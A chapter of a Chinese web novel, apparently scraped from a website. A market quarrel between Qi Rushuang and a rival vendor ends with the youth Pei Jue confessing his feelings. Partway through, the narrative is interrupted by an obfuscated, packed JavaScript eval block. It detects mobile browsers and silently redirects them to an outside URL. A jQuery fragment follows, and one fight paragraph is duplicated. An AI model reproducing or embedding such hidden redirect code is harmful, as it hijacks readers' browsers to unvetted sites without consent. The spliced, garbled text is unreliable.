7. 好生喜欢你

作品:《别烦,我只想搞事业

    街旁的槐树随风飘荡,槐花开的正旺,香味沁人心脾。


    旁的不说,光是黄春燕朝柒如霜贴脸开口,浓郁的蒜泥味道,伴随吐沫星子扑面而来,就已逼的柒如霜屏住呼吸,生命值在燃烧。


    在原主的记忆中,每次与黄春燕碰面,皆受她的欺负与谩骂。


    柒如霜死死盯着黄春燕,拳头紧握,回想起那一幕幕被谩骂的场面,气的胸口上下起伏。


    莫生气,气出病来无人替。


    她若气死谁如意,不但伤神还费力。


    君子量大同天地……


    呸!她哪里是君子,她是下水道阴暗爬行的优质蟑螂,见人就咬的正义疯狗,是丧心病狂维护正道除恶扬善的勇士。


    人不犯她她不犯人,人若来犯,定要让那人螺旋升天,哭着叫娘。


    忍无可忍,无须再忍。


    柒如霜表情恶狠狠,大步来到槐树底下,捋一把花花塞进口中,再走到黄春燕面前。


    踮脚尖,挺胸抬头。


    下一刻,口吐芬芳——


    “我忍你、很久了。”


    槐花喷洒在黄春燕脸上,柒如霜为了防止黄春燕躲开,两只手牢牢的按住她的肩膀。


    “我如何抢你的生意?我一出门摆摊,你像跟苍蝇似的闻着味就来,说什么我抢你生意,你好大的自信。


    就你那几个木头疙瘩,用得着我抢?


    欺负柒如霜,就你能耐大,你武大郎喝药还续杯,不知死活,我今日非给你教训一顿不可。”


    说罢还将袖口撸了起来。


    一口气怼完,柒如霜喘着大气。


    黄春燕那泛黄的老脸挂着几朵槐花,两颗圆睁的细小眼睛里燃烧着熊熊烈火,肥胖的身体不由自主地剧烈颤抖起来。


    待反应过神,才大叫挥手,声音尖锐:“柒如霜,好你个有娘生没娘养的……”


    原主对亡母的离去始终无法释怀,心中痛楚难消,只要有人提起,便会感到悲痛难抑。


    柒如霜继承了原主的一切,情绪自然亦是。


    听及,心口抽痛。


    旋即,柒如霜一把捂住黄春燕的嘴,放任被弄一掌心的唾沫渣子,扑上去使劲把黄春燕往地上按。


    柒如霜一把捂住黄春燕的嘴巴,任凭口水溅到手心,用力将其按倒在地。


    挽起的双平鬓散乱,缠绕在红润的脸颊,眼神凶巴巴:“给我闭嘴,你敢辱没我娘,我跟你拼了。”


    黄春燕未曾预料到,柒如霜的变化竟然如此巨大,她使出浑身解数抵抗,没想到死丫头那看似弱不禁风的身板,一旦发起疯起来竟让人难以抵挡。


    黄春燕大喊:“救命啊,柒如霜要杀人了!”


    柒如霜咬着牙,紧紧按住黄春燕的肩膀,以全身力气压之,将人摁坐在地。


    小手飞速,一下接一下的掐黄春燕胳膊上的肥肉:“让你找我茬,再欺负柒如霜,我掐死你,掐死你。”


    她不仅掐黄春燕胳膊,还掐大腿,掐腰里的软肉。


    围观的人群已将二人堵的个水泄不通,生人看热闹,熟人想上前拉架,但通通被柒如霜凶狠气势劝退。


    消息传开,南香街上的商铺老板们纷纷闻声赶来,踮着脚,昂着头凑热闹。


    黄春燕被柒如霜掐的大叫呻唤,死丫头比狗皮膏药还难缠,无论怎么揪柒如霜的头发,扣她脖颈,她都跟感觉不到疼似的。


    疯了!疯了!


    而柒如霜肾上腺素飙升,身体止不住的颤抖:“抢生意……我不但要抢,我还要让你的木头疙瘩一个都卖不出去。


    言毕,身后蓦然伸出两只手臂,将她从背后拦腰捞起,极淡的果香进入鼻尖,柒如霜挣扎着扭过头去看,神情一滞。


    裴七……坏了。


    裴诀眉宇微蹙,视线落在她白细脖颈的抓痕上。


    他离开顶多一盏茶的时间,回来便看到这幅场面。今日阵仗,比第一次见她时更激烈。


    这柒如霜真的是……好生有趣。


    柒如霜形象没了,衣裳乱了,头发也散了。


    愣了须臾,她已心如死灰,什么都不在乎了。


    毁灭吧。


    她试图挣脱开裴诀的手臂,手脚一顿挥舞,活像炸了毛的猫儿,瞪向黄春燕:“放开我,我今日与她势不两立。”


    “裴七,放开我。”


    “放开……”


    这边柒如霜情绪激动不已,另一边黄春燕也是一样。


    但彦戎拿剑挡住了黄春燕的来路,她见此,哭着喊着要去报官。


    纵使柒如霜被裴诀抓着后衣领,她仍然气势汹汹地对黄春燕的背影拳打脚踢。


    “你报啊,我等着!”


    只听见耳边传来一声“失礼了”,柒如霜的身体瞬间离地,双手本能地抓住裴诀的肩膀。


    “裴七!”


    裴诀将柒如霜从腿部抱起,如抱孩童一般,使得她高处行人一大截来。


    引来无数目光,柒如霜只差将脑袋塞进地底下。


    面红耳赤,窘迫不已。


    “你快放我下来,裴七。”


    裴诀大步走向前,将她放在一处台阶上,仰面看着她,眸色乌黑。


    柒如霜长着么大第一次被人抱,还是以那样奇怪姿势。


    裴诀看着不过十七岁大些,他到底知不知晓男女有别。她方才那般凶残蛮狠的样子,居然没吓跑他。


    柒如霜心乱如麻,乱糟糟的发丝垂在脸上,泛红的唇瓣微抿,眼神复杂,只觉得被裴七这样盯着感觉怪怪的,他到底要做什么。


    “你……”


    “柒如霜,我好生喜欢你啊。”


    少年笑容和煦,眼中全是她的模样。


    春分拂面,似有万千花香飘过。


    柒如霜回过神,猛地跳下台阶,崴了脚。


    裴诀伸手来扶,吓得她连退数步,眼神恍惚的看向他。


    柒如霜杏眸圆睁,羞赧的质问他:“你在胡说什么。”


    裴诀一脸无辜,不明白她为何反应这般大:“我没有胡说。”


    柒如霜的心仿佛有千万只小手在挠,思绪错乱。


    哪有相识三四天就说喜欢的,在她眼里,裴诀就是贵人恩人有钱的好友,怎么能上升至喜欢。


    “我要回家了。”


    道完,头也不回地落荒而逃。


    一路跑回,柒如霜只觉背后的有道视线,隔着皮肉,都要将她盯出个窟窿来。


    罢了罢了,待改日,改日她再去向裴诀道个歉,给这小子好好讲讲何为喜欢,免得他把一时乐趣当□□情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611545|156118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年轻小伙子情窦初开,难以看清内心的真实想法,她理解,可以体谅的。


    屋内,


    柒安康看到女儿这副凄惨模样,赶忙放下手头活计走来,看她身上细细小小的抓痕,询问道:“你这是与人打架了?”


    柒如霜摸到伤口,疼的嘶哈,闻言她颇为得意:“黄春花今日找我麻烦,被我揍回去了,爹,你放心我没吃亏。”


    “傻孩儿,伤成这般模样了,还说没吃亏。”


    柒安康说完就去柜子里寻找药膏。


    柒如霜毫不在乎的坐在了椅子上,给自己倒了杯茶水润喉,不经意的又想起裴诀,喝茶都呛了一口。


    —


    两日过去,裴诀这两日未出现过,柒如霜也没碰见过书衡,说着要报官的黄春燕也没来找事。


    青灰色的屋檐落着雨珠,远处烟雨,蒙蒙街上行人寥寥。


    柒如霜撑一把油纸伞,走去书衡常出没的地方,问那些商铺老板,知不知晓书衡家在何处。


    问了半天,靴子湿了水,才从香珠铺老板口中得知他住淮口街,家门前有一颗枣树。


    柒如霜找到那颗枣树时,树底下的大门正被人从内打开,走出一人,正是书衡。


    柒如霜欣喜的朝书衡挥手:“书衡。”


    哪知书衡一看见她便立刻收腿回到里面,迅速关上大门。


    柒如霜十分不解,小跑着过去,叩响门环:“书衡,是我呀柒如霜,你把门打开。”


    那边传来书衡的声音:“我……我今日有事,你,你改日再来找我。”


    柒如霜皱起眉,他怎么一下子变得这么古怪。


    “那你的人物小传写好没有,我在家属实无趣,你若写好就先给我,我拿回去照着雕木。”


    书衡声音微弱:“好……你等着,我去给你拿。”


    片刻后,门开了一条缝隙,书衡将一本书从门缝塞出,柒如霜刚拿过去,门就被死死关紧。


    柒如霜对着门说:“那我走了啊。”


    书衡在内回道:“嗯。”


    接下来的半个月里,柒如霜全神贯注地雕刻着书中的人物,由于过度疲劳,时常在雕刻时打瞌睡,不慎割伤了自己的手指,留下了一些伤口。


    她时而在想,一定是那日伤了裴七的心,所以他这段时间,才不肯出现。


    也不知晓裴七家在何处,她问了许多人,他们都不知裴七是谁,鳞州城这么大,想找到一个人谈何容易。


    她如今对他很是愧疚。


    想同他说声抱歉。


    至于书衡,更是许久未见着,不知为何柒如霜总感觉,书衡是有意躲着她。


    等哪天逮到书衡,她一定要问个清楚。


    傍晚之时,柒如霜出门,去药铺买创伤药膏。


    从药铺出来,不料抬眼就看到远处茶肆招牌底下,站着的暗红色劲衣的少年,四目相对,他面无表情。


    柒如霜本欲奔向裴诀的动作微滞,犹豫了一下,还是走向他。


    “裴七,你这几日是回家了吗。”


    少女一身鹅黄衣裙,鬓角簪着一只兔儿花,浅绿色的发带随风而动,巴掌大的脸蛋尽显紧张之色,双手抓紧袖口。


    裴诀凝视着柒如霜,许久唇角微扬起一抹淡笑:“是啊,回家了。”